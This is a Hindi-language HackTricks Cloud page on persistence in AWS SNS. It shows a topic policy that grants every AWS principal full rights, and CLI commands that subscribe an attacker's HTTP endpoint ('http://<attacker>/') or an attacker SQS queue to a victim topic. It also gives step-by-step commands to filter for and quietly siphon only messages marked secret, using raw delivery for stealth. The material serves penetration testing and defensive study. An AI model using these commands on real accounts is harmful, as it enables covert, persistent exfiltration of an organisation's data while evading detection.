Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md

4.9 KiB

AWS - SNS स्थायी पहुँच

{{#include ../../../../banners/hacktricks-training.md}}

SNS

अधिक जानकारी के लिए देखें:

{{#ref}} ../../aws-services/aws-sns-enum.md {{#endref}}

स्थायी पहुँच

एक SNS topic बनाते समय आपको IAM policy में यह स्पष्ट करना होता है कि किसे पढ़ने और लिखने की पहुँच है। आप बाहरी accounts, roles के ARN, या यहाँ तक कि "*" भी निर्दिष्ट कर सकते हैं।
निम्नलिखित policy AWS में हर किसी को MySNS.fifo नामक SNS topic पर पढ़ने और लिखने की पहुँच देती है:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

सब्सक्राइबर बनाएँ

सभी topics से सभी संदेशों को exfiltrating जारी रखने के लिए, attacker सभी topics के लिए subscribers बना सकता है

ध्यान दें कि यदि topic is of type FIFO, तो केवल प्रोटोकॉल SQS का उपयोग करने वाले subscribers ही उपयोग किए जा सकते हैं।

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

MessageBody पर FilterPolicy के माध्यम से Covert, selective exfiltration

एक attacker जिसके पास किसी topic पर sns:Subscribe और sns:SetSubscriptionAttributes हैं, वह एक stealthy SQS subscription बना सकता है जो केवल उन संदेशों को आगे भेजता है जिनके JSON body एक बहुत संकुचित filter से मेल खाते हैं (उदाहरण के लिए, {"secret":"true"}). यह मात्रा और detection को कम करता है जबकि संवेदनशील रिकॉर्ड का exfiltration जारी रहता है।

Potential Impact: Covert, low-noise exfiltration केवल लक्षित SNS messages को victim topic से प्राप्त करना।

Steps (AWS CLI):

  • सुनिश्चित करें कि attacker SQS queue policy victim TopicArn से sqs:SendMessage की अनुमति देता है (Condition aws:SourceArn equals the TopicArn).
  • उस topic के लिए SQS subscription बनाएं:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  • Filter को message body पर लागू करें और केवल secret=true से मेल खाने दें:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  • वैकल्पिक stealth: raw delivery सक्षम करें ताकि केवल raw payload receiver पर पहुंचे:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  • Validation: दो संदेश publish करें और पुष्टि करें कि केवल पहला attacker queue को मिलता है। उदाहरण payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
  • Cleanup: unsubscribe करें और यदि persistence परीक्षण के लिए attacker SQS queue बनाया गया था तो उसे delete करें।

{{#include ../../../../banners/hacktricks-training.md}}